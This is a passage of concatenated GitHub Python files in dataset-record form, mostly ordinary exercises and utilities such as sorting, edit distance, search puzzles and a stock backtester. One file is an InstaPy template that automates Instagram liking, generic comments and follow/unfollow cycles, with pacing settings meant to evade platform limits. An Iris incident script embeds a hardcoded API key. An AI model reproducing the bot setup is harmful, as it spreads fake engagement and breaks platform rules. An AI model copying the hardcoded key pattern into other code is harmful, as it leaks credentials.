matplotlib.pyplot as plt\nimport numpy as np \nimport os\nimport random\nimport string\nimport subprocess\nimport sys\nimport time\n\n# Hardcoding location of source code to use within this repository\nSRC_CODE_DIR_PATH = \"../C/\"\nEXEC_NAME = \"CryptoTestC\"\n\n# Function to generate a random ascii string of a given length\ndef GenRandString(length):\n new_str = \"\".join([random.choice(string.ascii_letters + string.digits) for x in range(length)])\n return new_str\n\n# Function to calculate hamming weight of a passed in string\ndef GetStrHammingWeight(string):\n weight = 0\n for char in string:\n num_char = ord(char)\n while num_char != 0:\n if num_char & 1:\n weight += 1\n num_char = num_char >> 1\n return weight\n\n# Simple function to generate a plot showing the duration\n# of Sha256 runs for randomly generate ascii string inputs.\n# Plot: x-axis = hamming weights, y-axis = raw time.time duration\ndef Sha256HammingWeightDurationTest():\n cmd = SRC_CODE_DIR_PATH + EXEC_NAME\n str_length = 10000\n num_data_points = 20000\n h_weights = []\n times = []\n\n if os.path.exists(cmd) == False:\n print(\"compiling...\")\n output = subprocess.check_output([\"make\", \"-C\", SRC_CODE_DIR_PATH])\n\n for i in range(0, num_data_points):\n if (i % 100) == 0:\n print(\"Iteration %d\" % (i))\n\n test_str = GenRandString(str_length)\n test_weight = GetStrHammingWeight(test_str)\n h_weights.append(test_weight)\n start_time = time.time()\n output = subprocess.check_output([cmd, \"-g\", test_str])\n end_time = time.time()\n times.append((end_time - start_time))\n \n plt.scatter(h_weights, times, color=\"red\")\n plt.show()\n\n# Main\nif __name__ == \"__main__\":\n Sha256HammingWeightDurationTest()\n","repo_name":"ErikAlsterlind/Crypto","sub_path":"Python/PerformanceTestSha256.py","file_name":"PerformanceTestSha256.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29851242861","text":"from datetime import date, timedelta\nfrom dateutil.parser import parse\nfrom hashlib import sha256\nimport logging\nfrom os.path import join, isfile\nfrom os import makedirs\nfrom sys import stdout\nfrom typing import List, Dict\n\nimport pandas as pd\n\nfrom data.util import get_data_folder, load_adjusted_price, \\\n load_fundamental_dataframe, load_benchmark\nfrom data.config import FUNDAMENTAL_PUBLISH_DELAY\nfrom core.util import get_logger\n\n\nclass DataManager:\n\n def create_price_dataframe(self, start_date: date, end_date: date, \\\n universe: List[str], strategy):\n\n run_id = ' '.join([start_date.isoformat(), end_date.isoformat(), \n ''.join(universe)])\n file_key = sha256(run_id.encode()).hexdigest()\n file_path = join(get_data_folder()['price'], file_key + '.csv')\n \n if isfile(file_path):\n self.logger.info('found existing cached price data')\n return pd.read_csv(file_path, index_col='date', parse_dates=['date'])\n\n dataframe = None\n for idx, ticker in enumerate(universe):\n df = load_adjusted_price(fsym_id=ticker, start_date=start_date,\n end_date=end_date, adjustment_method='f')\n\n stdout.write('\\rloaded [%d / %d] prices' % (idx + 1, len(universe)))\n stdout.flush()\n\n if idx == 0:\n dataframe = df\n continue\n dataframe = dataframe.join(df, how='outer')\n \n dataframe = dataframe.round(decimals=2)\n dataframe.index = pd.to_datetime(dataframe.index)\n dataframe.sort_index(inplace=True)\n dataframe.fillna(inplace=True, method='pad')\n dataframe.to_csv(file_path)\n return dataframe\n\n\n def create_fundamental_dataframe(self, start_date: date, \n end_date: date, universe: List[str], strategy):\n \n required_fields = sorted(strategy.required_fields())\n # return empty dataframe if this is a pure price based strategy\n if len(required_fields) == 0:\n return pd.DataFrame() \n\n run_id = ' '.join([start_date.isoformat(), end_date.isoformat(), \n ''.join(universe), ','.join(sorted(required_fields))])\n file_key = sha256(run_id.encode()).hexdigest()\n file_path = join(get_data_folder()['fundamental'], file_key + '.csv')\n\n if isfile(file_path):\n self.logger.info('found existing cached fundamental data')\n return pd.read_csv(file_path, parse_dates=True, \n index_col=['date', 'fsym_id'])\n\n dataframe = load_fundamental_dataframe(fsym_ids=universe, \n period='q', factset_fields=required_fields)\n dataframe.to_csv(file_path)\n return dataframe\n\n\n def __init__(self, logger=None, *args, **kwargs):\n self.DATAFRAMES = {}\n self.current_row_index = None\n self.logger = logger or get_logger('DataManager', logging.WARNING)\n \n\n def setup(self, start_date: date, end_date: date, \n universe: List[str], strategy) -> None:\n \n self.DATAFRAMES['price'] = self.create_price_dataframe(\n start_date=start_date, end_date=end_date, \n universe=universe, strategy=strategy)\n self.DATAFRAMES['fundamental'] = self.create_fundamental_dataframe(\n start_date=start_date, end_date=end_date, \n universe=universe, strategy=strategy)\n if strategy.benchmark is None:\n self.DATAFRAMES['benchmark'] = None\n else: \n benchmark_dataframe = load_benchmark(strategy.benchmark)\n benchmark_dataframe = benchmark_dataframe.loc[start_date: end_date, :]\n self.DATAFRAMES['benchmark'] = benchmark_dataframe\n\n\n def get_market_data(self, as_of_date: date) -> Dict:\n data = {}\n for db_type, dataframe in self.DATAFRAMES.items():\n if db_type == 'price':\n price_dataframe = dataframe[dataframe.index <= as_of_date]\n # in case some stocks are listed after as_of date, \n # their price will all be nan, we filter them out\n # to avoid look ahead bias\n listed_tickers = price_dataframe.notna().any()\n data[db_type] = price_dataframe.loc[:, listed_tickers]\n elif db_type == 'fundamental':\n # due to the lag between fiscal period end and the\n # actual publish date of fundamental date we add a \n # conservative lag here to avoid look ahead bias\n visible_date = as_of_date - timedelta(days=FUNDAMENTAL_PUBLISH_DELAY)\n data[db_type] = dataframe.loc[pd.IndexSlice[:visible_date,:]]\n return data\n \n\n def get_prices_for_date(self, as_of_date: date) -> pd.Series:\n price = self.DATAFRAMES['price']\n return price[price.index <= as_of_date].iloc[-1, :].squeeze()\n \n \n def get_ticker_price_for_date(self, ticker: str, as_of_date: date) -> float:\n return self.DATAFRAMES['price'][ticker].loc[as_of_date]","repo_name":"fricative/backtester","sub_path":"backtester/data/data_manager.py","file_name":"data_manager.py","file_ext":"py","file_size_in_byte":5095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2823688441","text":"# Bubble sort techniques to sort the singly linked list.\nprint()\n\nclass Node():\n def __init__(self,data):\n self.data=data\n self.next=None\n \nclass Linked_list():\n def __init__(self):\n self.start=None\n self.count=1\n \n def Insert_Node(self,data):\n temp=Node(data)\n if self.start==None:\n self.start=temp\n else:\n ptr=self.start\n while ptr.next!=None:\n ptr=ptr.next\n ptr.next=temp\n self.count+=1\n \n def Bubble_Sort(self):\n if self.start==None:\n print('\\nLinked List is Empty')\n else:\n curr=self.start\n index=None\n temp=None\n while curr!=None:\n index=curr.next\n while index!=None:\n if curr.data>index.data:\n temp=curr.data\n curr.data=index.data\n index.data=temp\n index=index.next\n curr=curr.next\n\n def Display(self):\n if self.start==None:\n print('\\nLinked List is Empty')\n else:\n x=self.start\n while x!=None:\n print(x.data,end='->')\n x=x.next\n \n\nif __name__ == \"__main__\":\n LL=Linked_list()\n print()\n while True:\n print('\\n============')\n print('1: Insert Node')\n print('2: Sort Linked List')\n print('3: Display')\n print('4: Exit')\n ch=int(input(\"Enter Your Choice: \"))\n\n if ch==1:\n item=int(input(\"Enter the Element: \"))\n LL.Insert_Node(item)\n elif ch==2:\n LL.Bubble_Sort()\n elif ch==3:\n LL.Display()\n elif ch==4:\n quit()\n else:\n print('\\nInvalid Choice')","repo_name":"puneet4840/Data-Structure-and-Algorithms","sub_path":"Linked List in Python/1 - Singly Linked List/15 - Sorting Singly Linked List.py","file_name":"15 - Sorting Singly Linked List.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71047332268","text":"\nimport logging\nfrom logging import CRITICAL, ERROR, WARNING, INFO, DEBUG\n\nfrom py.utility import color\n\nlevel_colors = {\n CRITICAL : color.magenta,\n ERROR : color.red,\n WARNING : color.yellow,\n INFO : color.green,\n DEBUG : color.white,\n}\n\nlevel_names = {\n CRITICAL : \"CRITI\",\n ERROR : \"ERROR\",\n WARNING : \"WARN\",\n INFO : \"INFO\",\n DEBUG : \"DEBUG\",\n}\n\ndef levelname(level):\n return level_colors.get(level, color)(level_names.get(level, \"NOTSET\"))\n\nCRITICAL_NAME = levelname(CRITICAL)\nERROR_NAME = levelname(ERROR)\nWARNING_NAME = levelname(WARNING)\nINFO_NAME = levelname(INFO)\nDEBUG_NAME = levelname(DEBUG)\n\nclass LogRecord(logging.LogRecord):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.msecs_int = int(self.msecs)\n self.levelname = level_colors.get(self.levelno, color)(f\"{level_names.get(self.levelno, ''):>5}\")\n\ndef config(filter_names):\n handlers = []\n for filter_name in filter_names:\n handler = logging.StreamHandler()\n handler.addFilter(logging.Filter(filter_name))\n handlers.append(handler)\n\n logging.basicConfig(\n format=\"[{asctime}.{msecs_int:03}][{levelname}][{name}][{filename:16.16}{lineno:>4}]: {msg}\",\n datefmt=\"%Y-%m-%d %H:%M:%S\",\n style=\"{\",\n handlers=handlers)\n logging.setLogRecordFactory(LogRecord)\n\ndef get(name):\n return logging.getLogger(name)\n\ndef main():\n logger = get(__name__)\n logger.info(\"help2\")","repo_name":"centixkadon/tools","sub_path":"py/utility/loggers/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37447977773","text":"\"\"\"\n#https://leetcode.com/problems/two-city-scheduling/\n\n\nThere are 2N people a company is planning to interview. The cost of flying the i-th person to city A is costs[i][0],\n and the cost of flying the i-th person to city B is costs[i][1].\n\nReturn the minimum cost to fly every person to a city such that exactly N people arrive in each city.\n\"\"\"\n\nclass Solution:\n def twoCitySchedCost(self, costs: List[List[int]]) -> int:\n ans = 0\n for i in costs:\n q = abs(i[0] - i[1])\n i.append(q)\n\n cos = sorted(costs, key=lambda x: x[2], reverse=True)\n print(cos)\n\n ta1 = 0\n ta2 = 0\n\n z = 0\n z1 = len(cos) // 2\n while (z < len(cos)):\n if cos[z][0] > cos[z][1]:\n if ta2 < z1:\n ans = ans + cos[z][1]\n ta2 += 1\n else:\n ans = ans + cos[z][0]\n ta1 += 1\n else:\n if ta1 < z1:\n ans = ans + cos[z][0]\n ta1 += 1\n else:\n ans = ans + cos[z][1]\n ta2 += 1\n z += 1\n\n return ans\n\n\n","repo_name":"SurajPatil314/Leetcode-problems","sub_path":"greedy_2cityscheduling.py","file_name":"greedy_2cityscheduling.py","file_ext":"py","file_size_in_byte":1195,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"20988838956","text":"import numpy as np\n\n\ndef minEditDistance(sourceString, targetString):\n rows = len(sourceString) + 1\n cols = len(targetString) + 1\n dist = np.zeros((rows + 1, cols + 1))\n for i in range(1, rows):\n dist[i][0] = i\n for i in range(1, cols):\n dist[0][i] = i\n\n for col in range(1, cols):\n for row in range(1, rows):\n if sourceString[row - 1] == targetString[col - 1]:\n cost = 0\n else:\n cost = 2\n dist[row][col] = min(dist[row - 1][col] + 1, # deletion\n dist[row][col - 1] + 1, # insertion\n dist[row - 1][col - 1] + cost) # substitution\n\n return dist[row][col]\n\n\ndef run():\n sourceString = input('Enter source string: ')\n targetString = input('Enter target string: ')\n med = minEditDistance(str(sourceString), str(targetString))\n print('The min edit distance between \"' + str(sourceString) + '\" and \"' + str(targetString) + '\" is ' + str(med))\n\nrun()\n","repo_name":"OlukoyaDaniel/NLP-18-OlukoyaDaniel","sub_path":"lab2/editDistance.py","file_name":"editDistance.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72700710507","text":"from searching_framework.utils import Problem\nfrom searching_framework.uninformed_search import *\n\n\n\nclass Search(Problem):\n def __init__(self, initial,goal=None):\n super().__init__(initial,goal)\n self.goal_size = [6,4]\n\n\n def successor(self, state):\n\n successors = dict()\n\n pacman_x = state[0]\n pacman_y = state[1]\n obstacle1 = [state[2],state[3],state[4]]\n obstacle2 = [state[5],state[6],state[7]]\n\n\n #Dvizejne na preckite\n\n if obstacle1[2] == 1: #desno\n if obstacle1[0] == 6:\n obstacle1[2] = 0\n obstacle1[0] -= 1\n else:\n obstacle1[0] += 1\n else: #levo\n if obstacle1[0] == 0:\n obstacle1[2] = 1\n obstacle1[0] += 1\n else:\n obstacle1[0] -= 1\n\n if obstacle2[2] == 1: #gore\n if obstacle2[1] == 5:\n obstacle2[2] = 0\n obstacle2[1] -= 1\n else:\n obstacle2[1] += 1\n else: #dolu\n if obstacle2[1] == 0:\n obstacle2[2] = 1\n obstacle2[1] += 1\n else:\n obstacle2[1] -= 1\n\n obstacles = [[obstacle1[0],obstacle1[1]],[obstacle2[0],obstacle2[1]]]\n\n if 0 <= pacman_x+1 < 7 and [pacman_x + 1, pacman_y] not in obstacles: #move right\n successors['Desno'] = (pacman_x + 1, pacman_y, obstacle1[0], obstacle1[1], obstacle1[2],\n obstacle2[0], obstacle2[1], obstacle2[2])\n\n if 0 <= pacman_x-1 < 7 and [pacman_x - 1, pacman_y] not in obstacles: #move left\n successors['Levo'] = (pacman_x - 1, pacman_y, obstacle1[0], obstacle1[1], obstacle1[2],\n obstacle2[0], obstacle2[1], obstacle2[2])\n\n if 0 <= pacman_y + 1 < 7 and [pacman_x , pacman_y + 1] not in obstacles: #move up\n successors['Gore'] = (pacman_x,pacman_y + 1,obstacle1[0],obstacle1[1],obstacle1[2],\n obstacle2[0],obstacle2[1],obstacle2[2])\n\n if 0 <= pacman_y - 1 < 7 and [pacman_x , pacman_y - 1] not in obstacles: #move down\n successors['Dolu'] = (pacman_x,pacman_y - 1,obstacle1[0],obstacle1[1],obstacle1[2],\n obstacle2[0],obstacle2[1],obstacle2[2])\n\n\n\n return successors\n\n def actions(self, state):\n\n return self.successor(state).keys()\n\n def result(self, state, action):\n\n return self.successor(state)[action]\n\n\n def goal_test(self, state):\n\n position = (state[0],state[1])\n\n return position == self.goal\n\nif __name__ == '__main__':\n goal_state = (6,4)\n initial_state = (0,0)\n\n obstacle_1 = (2, 2, 0) # left - Right\n obstacle_2 = (4, 5, 0) # up - down\n\n exp = Search((initial_state[0],initial_state[1],\n obstacle_1[0],obstacle_1[1],obstacle_1[2],\n obstacle_2[0],obstacle_2[1],obstacle_2[2]),goal_state)\n\n result = breadth_first_graph_search(exp)\n print(result.solution())\n print(result.solve())","repo_name":"tosek4/Vestacka_Intelegencija","sub_path":"Ex.2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17926664012","text":"import os\n\ndef main():\n commands = [[command[0], int(command[1])] for command in [line.split() for line in open('input.txt', 'r').readlines()]]\n\n partOne(commands)\n partTwo(commands)\n \n\ndef partOne(commands):\n horizontalPos = 0\n depth = 0\n\n for command in commands:\n direction = command[0]\n value = command[1]\n \n if direction == 'forward': horizontalPos += value\n elif direction == 'up': depth -= value\n elif direction == 'down': depth += value\n\n print(depth * horizontalPos)\n\n\ndef partTwo(commands):\n horizontalPos = 0\n depth = 0\n aim = 0\n\n for command in commands:\n direction = command[0]\n value = command[1]\n \n if direction == 'forward':\n horizontalPos += value\n depth += (aim * value)\n elif direction == 'up': aim -= value\n elif direction == 'down': aim += value\n\n\n print(depth * horizontalPos)\n \nif __name__ == \"__main__\":\n main()\n","repo_name":"whiskermrr/advent-of-code-2021","sub_path":"day02/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"20024715901","text":"\"\"\"\nThis template is written by @Nocturnal-2\n\nWhat does this quickstart script aim to do?\n- I do some unfollow and like by tags mostly\n\nNOTES:\n- I am an one month old InstaPy user, with a small following. So my numbers\nin settings are bit conservative.\n\"\"\"\n\nfrom instapy import InstaPy\nfrom instapy import smart_run\n\n# get a session!\nsession = InstaPy(username='', password='')\n\n# let's go! :>\nwith smart_run(session):\n \"\"\" Start of parameter setting \"\"\"\n # don't like if a post already has more than 150 likes\n session.set_delimit_liking(enabled=True, max=150, min=0)\n\n # don't comment if a post already has more than 4 comments\n session.set_delimit_commenting(enabled=True, max=4, min=0)\n\n \"\"\"I used to have potency_ratio=-0.85 and max_followers=1200 for \n set_relationship_bounds()\n Having a stricter relationship bound to target only low profiles \n users was not very useful,\n as interactions/sever calls ratio was very low. I would reach the \n server call threshold for\n the day before even crossing half of the presumed safe limits for \n likes, follow and comments (yes,\n looks like quiet a lot of big(bot) managed accounts out there!!).\n So I relaxed it a bit to -0.50 and 2000 respectively.\n \"\"\"\n session.set_relationship_bounds(enabled=True,\n potency_ratio=-0.50,\n delimit_by_numbers=True,\n max_followers=2000,\n max_following=3500,\n min_followers=25,\n min_following=25)\n session.set_do_comment(True, percentage=20)\n session.set_do_follow(enabled=True, percentage=20, times=2)\n session.set_comments(['Amazing!', 'Awesome!!', 'Cool!', 'Good one!',\n 'Really good one', 'Love this!', 'Like it!',\n 'Beautiful!', 'Great!', 'Nice one'])\n session.set_sleep_reduce(200)\n\n \"\"\" Get the list of non-followers\n I duplicated unfollow_users() to see a list of non-followers which I \n run once in a while when I time\n to review the list\n \"\"\"\n # session.just_get_nonfollowers()\n\n # my account is small at the moment, so I keep smaller upper threshold\n session.set_quota_supervisor(enabled=True,\n sleep_after=[\"likes\", \"comments_d\", \"follows\",\n \"unfollows\", \"server_calls_h\"],\n sleepyhead=True, stochastic_flow=True,\n notify_me=True,\n peak_likes=(100, 700),\n peak_comments=(25, 200),\n peak_follows=(48, 125),\n peak_unfollows=(35, 400),\n peak_server_calls=(None, 3000))\n \"\"\" End of parameter setting \"\"\"\n\n \"\"\" Actions start here \"\"\"\n # Unfollow users\n \"\"\" Users who were followed by InstaPy, but not have followed back will \n be removed in\n One week (168 * 60 * 60)\n Yes, I give a liberal one week time to follow [back] :)\n \"\"\"\n session.unfollow_users(amount=25, InstapyFollowed=(True, \"nonfollowers\"),\n style=\"RANDOM\",\n unfollow_after=168 * 60 * 60,\n sleep_delay=600)\n\n # Remove specific users immediately\n \"\"\" I use InstaPy only for my personal account, I sometimes use custom \n list to remove users who fill up my feed\n with annoying photos\n \"\"\"\n # custom_list = [\"sexy.girls.pagee\", \"browneyedbitch97\"]\n #\n # session.unfollow_users(amount=20, customList=(True, custom_list,\n # \"all\"), style=\"RANDOM\",\n # unfollow_after=1 * 60 * 60, sleep_delay=200)\n\n # Like by tags\n \"\"\" I mostly use like by tags. I used to use a small list of targeted \n tags with a big 'amount' like 300\n But that resulted in lots of \"insufficient links\" messages. So I \n started using a huge list of tags with\n 'amount' set to something small like 50. Probably this is not the \n best way to deal with \"insufficient links\"\n message. But I feel it is a quick work around.\n \"\"\"\n\n session.like_by_tags(['tag1', 'tag2', 'tag3', 'tag4'], amount=300)\n\n \"\"\" Joining Engagement Pods...\n \"\"\"\n session.join_pods(topic='fashion')\n\n\"\"\"\n-- REVIEWS --\n\n@uluQulu:\n- @Nocturnal-2, your template looks stylish, thanks for preparing it.\n\n@nocturnal-2:\n- I think it is good opportunity to educate and get educated [using templates of other people] :) ...\n\n\"\"\"\n","repo_name":"InstaPy/instapy-quickstart","sub_path":"quickstart_templates/stylish_unfollow_tips_and_like_by_tags.py","file_name":"stylish_unfollow_tips_and_like_by_tags.py","file_ext":"py","file_size_in_byte":4725,"program_lang":"python","lang":"en","doc_type":"code","stars":740,"dataset":"github-code","pt":"37"} +{"seq_id":"15496827196","text":"import nengo\n\nfrom adder_env import create_adder_env\nfrom constants import *\n\nq_list = [(0,0,0,1), (0,0,1,0), (0,1,0,0), (1,0,0,0)]\nans_list = [(-1,1), (1,-1), (1,1), (-1,-1)]\n\nwith nengo.Network(label=\"test\") as model:\n env = create_adder_env(q_list, ans_list, (1,))\n\n # questions and op_state are given at the correct interval\n # and are swapped once an answer is given\n q_node = nengo.Node(size_in=D*2)\n op_node = nengo.Node(size_in=1)\n\n # input is given constantly throughout\n in_node = nengo.Node(size_in=D*2)\n\n def ans_func(t):\n if t < 0.1:\n return 0, 0\n elif t < 0.45:\n return -1, 1\n elif t < 0.6:\n return 0, 0\n elif t < 0.95:\n return 1, -1\n elif t < 1.0:\n return 0, 0\n elif t < 1.35:\n return 1, 1\n elif t < 1.8:\n return 0, 0\n elif t < 2.15:\n return -1, -1\n elif t < 2.2:\n return 0, 0\n elif t < 2.55:\n return ans_list[env.env_cls.list_index + 1]\n elif t < 2.6:\n return 0, 0\n elif t < 2.95:\n return ans_list[env.env_cls.list_index]\n else:\n return 0, 0\n\n # answers can be given at different intervals\n ans_in = nengo.Node(ans_func)\n\n # the correct answer is returned\n ans_out = nengo.Node(size_in=D)\n\n # learning is maintained for a given interval\n learn_node = nengo.Node(size_in=1)\n\n nengo.Connection(env.q_in, q_node, synapse=None)\n nengo.Connection(env.op_in, op_node, synapse=None)\n nengo.Connection(env.env_keys, in_node, synapse=None)\n nengo.Connection(ans_in, env.set_ans, synapse=None)\n nengo.Connection(env.get_ans, ans_out, synapse=None)\n nengo.Connection(env.learning, learn_node, synapse=None)\n\n p_q = nengo.Probe(env.q_in, synapse=None)\n p_op = nengo.Probe(env.op_in, synapse=None)\n p_keys = nengo.Probe(env.env_keys, synapse=None)\n p_ans = nengo.Probe(env.get_ans, synapse=None)\n p_learn = nengo.Probe(env.learning, synapse=None)\n p_gate = nengo.Probe(env.gate, synapse=None)\n\n p_in = nengo.Probe(ans_in, synapse=None)\n\nsim = nengo.Simulator(model, dt=dt)\nsim.run(3.0)\n","repo_name":"Seanny123/counting_to_addition","sub_path":"tests/env_test.py","file_name":"env_test.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"19806002754","text":"import numpy as np\nimport pdb\nimport os\n\ndirectories = os.listdir(\"/home/kendall/Development/nba-basketball-db/advanced-seasons/\")\n\nfor d in directories:\n if d != \"2012\":\n files = os.listdir(\"/home/kendall/Development/nba-basketball-db/advanced-seasons/\"+d)\n for f in files:\n data = np.genfromtxt(\"/home/kendall/Development/nba-basketball-db/advanced-seasons/\"+d+\"/\"+f, delimiter=\",\")\n\n if data.shape[0] == 47:\n continue\n\n # if d == \"2017\" and f == \"Golden-State.csv\":\n # pdb.set_trace()\n # print\n\n try:\n data = data[::-1,:]\n except:\n pdb.set_trace()\n print\n\n accumulated_data = []\n for row in range(1,data.shape[0]+1):\n # accumulated_data.append(np.mean(data[0:row,:], axis=0))\n row_data = []\n for column in range(data.shape[1]):\n # if column != 0 and column != 46 and column != 43:\n if column != 0 and column != 29 and column != 32:\n row_data.append(np.mean(data[0:row,column]))\n else:\n row_data.append(data[row-1,column])\n accumulated_data.append(row_data)\n\n accumulated_data = np.array(accumulated_data)[::-1,:]\n\n try:\n os.mkdir(\"/home/kendall/Development/nba-basketball-db/advanced-accumulated/\"+d)\n except:\n pass\n np.savetxt(\"/home/kendall/Development/nba-basketball-db/advanced-accumulated/\"+d+\"/\"+f, accumulated_data, delimiter=\",\")\n","repo_name":"KendallWeihe/basketball-db","sub_path":"accumulate-stats.py","file_name":"accumulate-stats.py","file_ext":"py","file_size_in_byte":1662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70395663146","text":"# deque pronounced as deck is an optimised list to perform insertion and deletion easily.\nfrom collections import deque\n\na =['s','h','o','h','a','n']\nb = deque(a)\nb.append('uzzaman') #append function is used for adding element in any collection\nb.appendleft('md')\nprint(b)\nb.popleft() #pop() function is used for deleting element from collection and it also donot allow any argument inside it.\nb.pop()\nprint(b)","repo_name":"quietsos/Python_course","sub_path":"collection/deque.py","file_name":"deque.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"17127392223","text":"\"\"\"\nQuick Use:\n python createIncidents.py --host http://localhost:16649 --plan demo-test-foo\n\nBy default, the above command will create an incident for the `foo` user.\n\nSet the `username` to `foo` in the IDE to receive these notifications.\n\"\"\"\nimport argparse\n\nfrom irisclient import IrisClient\n\n\ndef main(arguments: argparse.Namespace) -> None:\n print(f\"Base Hostname: {arguments.host}\")\n print(f\"Application: {arguments.app}\")\n print(f\"Key: *****{arguments.key[-5:]}\")\n print(f\"Plan Name: {arguments.plan}\")\n print()\n\n client = IrisClient(app=arguments.app, key=arguments.key, api_host=arguments.host)\n\n for x in range(arguments.count):\n print(f\"Creating incident {x + 1} of {arguments.count}...\")\n # create an incident\n resp = client.incident(arguments.plan, context={'count': x + 1, 'key-foo': 'abc', 'key-bar': 1})\n print(f'Incident ID: {resp}')\n # # send an adhoc notification\n # print(client.notification(role='user', target='alice', priority='urgent', subject='Yo'))\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('--host', help='The base hostname to request against', required=True)\n parser.add_argument('--key', help='The key to use for authenticating the Iris Client',\n default=\"a7a9d7657ac8837cd7dfed0b93f4b8b864007724d7fa21422c24f4ff0adb2e49\", required=False)\n parser.add_argument('--app', help='The application to use for the client', default=\"Autoalerts\", required=False)\n parser.add_argument('--plan', help='The plan to create an incident against', required=True)\n parser.add_argument('-c', '--count', help='The number of incidents to create', type=int, default=1)\n arguments = parser.parse_args()\n\n main(arguments)\n","repo_name":"ChrisCarini/iris-jetbrains-plugin","sub_path":"bin/createIncidents.py","file_name":"createIncidents.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"70909419309","text":"import dash\nfrom dash import html, Input, Output, dcc, callback\nimport dash_bootstrap_components as dbc\nimport pandas as pd\nimport pickle\n\nfrom .player_worth_func import *\n\ndash.register_page(__name__)\n\ndf = clean_data()\n\nwith open('model/rf_10_feats', 'rb') as f:\n clf = pickle.load(f)\n\nfirst_pass = True\ncareer_assists_slider_output = int()\ncareer_assists_input_output = int()\ncareer_points_slider_output = int()\ncareer_points_input_output = int()\ncareer_shots_slider_output = int()\ncareer_shots_input_output = int()\ncareer_timeOnIce_slider_output = int()\ncareer_timeOnIce_input_output = int()\ncareer_evenTimeOnIce_slider_output = int()\ncareer_evenTimeOnIce_input_output = int()\ncareer_powerPlayTimeOnIcePerGame_slider_output = int()\ncareer_powerPlayTimeOnIcePerGame_input_output = int()\ncareer_powerPlayTimeOnIce_slider_output = int()\ncareer_powerPlayTimeOnIce_input_output = int()\ncareer_powerPlayPoints_slider_output = int()\ncareer_powerPlayPoints_input_output = int()\npowerPlayTimeOnIcePerGame22_slider_output = int()\npowerPlayTimeOnIcePerGame22_input_output = int()\nassists22_slider_output = int()\nassists22_input_output = int()\n\ncolumn_one_map = {\n 'Career Assists': 'career_assists',\n 'Career Points': 'career_points',\n 'Career Shots': 'career_shots',\n 'Career TOI': 'career_timeOnIce',\n 'Career Even TOI': 'career_evenTimeOnIce'\n}\n\ncolumn_two_map = {\n 'Career PP TOI PG': 'career_powerPlayTimeOnIcePerGame',\n 'Career PP TOI': 'career_powerPlayTimeOnIce',\n 'Career PP Points': 'career_powerPlayPoints',\n 'PP TOI PG 2021-22': 'powerPlayTimeOnIcePerGame22',\n 'Total Assists 2021-22': 'assists22'\n}\n\ncolumn_one_layout = convert_dash_format([\n (add_header(header),\n add_slider_input(df, data))\n for header, data in column_one_map.items()\n])\n\ncolumn_two_layout = convert_dash_format([\n (add_header(header),\n add_slider_input(df, data))\n for header, data in column_two_map.items()\n])\n\nlayout = dbc.Container([\n dbc.Row(\n html.H2(\n 'Your Predicted Salary Is:',\n style={\n 'textAlign': 'center'\n }),\n className='my-5'\n ),\n dbc.Row(\n html.H1(\n id='basic_predicted_salary',\n style={\n 'textAlign': 'center'\n }),\n className='my-5'\n ),\n dbc.Row(\n dbc.Col(\n html.Hr(\n style={\n 'color': 'black',\n 'height': '5px',\n 'opacity': '100',\n }\n ),\n width=10,\n ),\n justify='center',\n ),\n dbc.Row([\n dbc.Col(\n column_one_layout,\n width=5,\n ),\n dbc.Col(\n column_two_layout,\n width=5,\n )\n ],\n justify='center',\n ),\n dbc.Row(\n dbc.Col([\n dbc.Row(\n html.H4(\n 'Legend',\n style={\n 'textAlign': 'center',\n 'text-decoration': 'underline'\n }\n ),\n ),\n dbc.Row(\n html.H5(\n 'PP: Power Play'\n )\n ),\n dbc.Row(\n html.H5(\n 'TOI: Time On Ice'\n )\n ),\n dbc.Row(\n html.H5(\n 'PG: Per Game'\n )\n )\n ],\n style={\n 'textAlign': 'center',\n 'border': '2px black solid'\n },\n className='my-5'\n )\n )\n])\n\nall_columns = {**column_one_map, **column_two_map}\n\ncallback_outputs = [\n (Output(f'{data}_slider', 'value'),\n Output(f'{data}_input', 'value'))\n for data in all_columns.values()\n]\n\ncallback_outputs = convert_dash_format(callback_outputs)\n\nprediction = Output('basic_predicted_salary', 'children')\ncallback_outputs = list((*callback_outputs, prediction))\n\ncallback_inputs = [\n (Input(f'{data}_slider', 'value'),\n Input(f'{data}_input', 'value'))\n for data in all_columns.values()\n]\n\ncallback_inputs = list(convert_dash_format(callback_inputs))\n\n\n@callback(\n callback_outputs,\n callback_inputs\n)\ndef basic_pred(career_assists_slider, career_assists_input, career_points_slider, career_points_input,\n career_shots_slider, career_shots_input, career_timeOnIce_slider, career_timeOnIce_input,\n career_evenTimeOnIce_slider, career_evenTimeOnIce_input, career_powerPlayTimeOnIcePerGame_slider,\n career_powerPlayTimeOnIcePerGame_input, career_powerPlayTimeOnIce_slider,\n career_powerPlayTimeOnIce_input, career_powerPlayPoints_slider,\n career_powerPlayPoints_input, 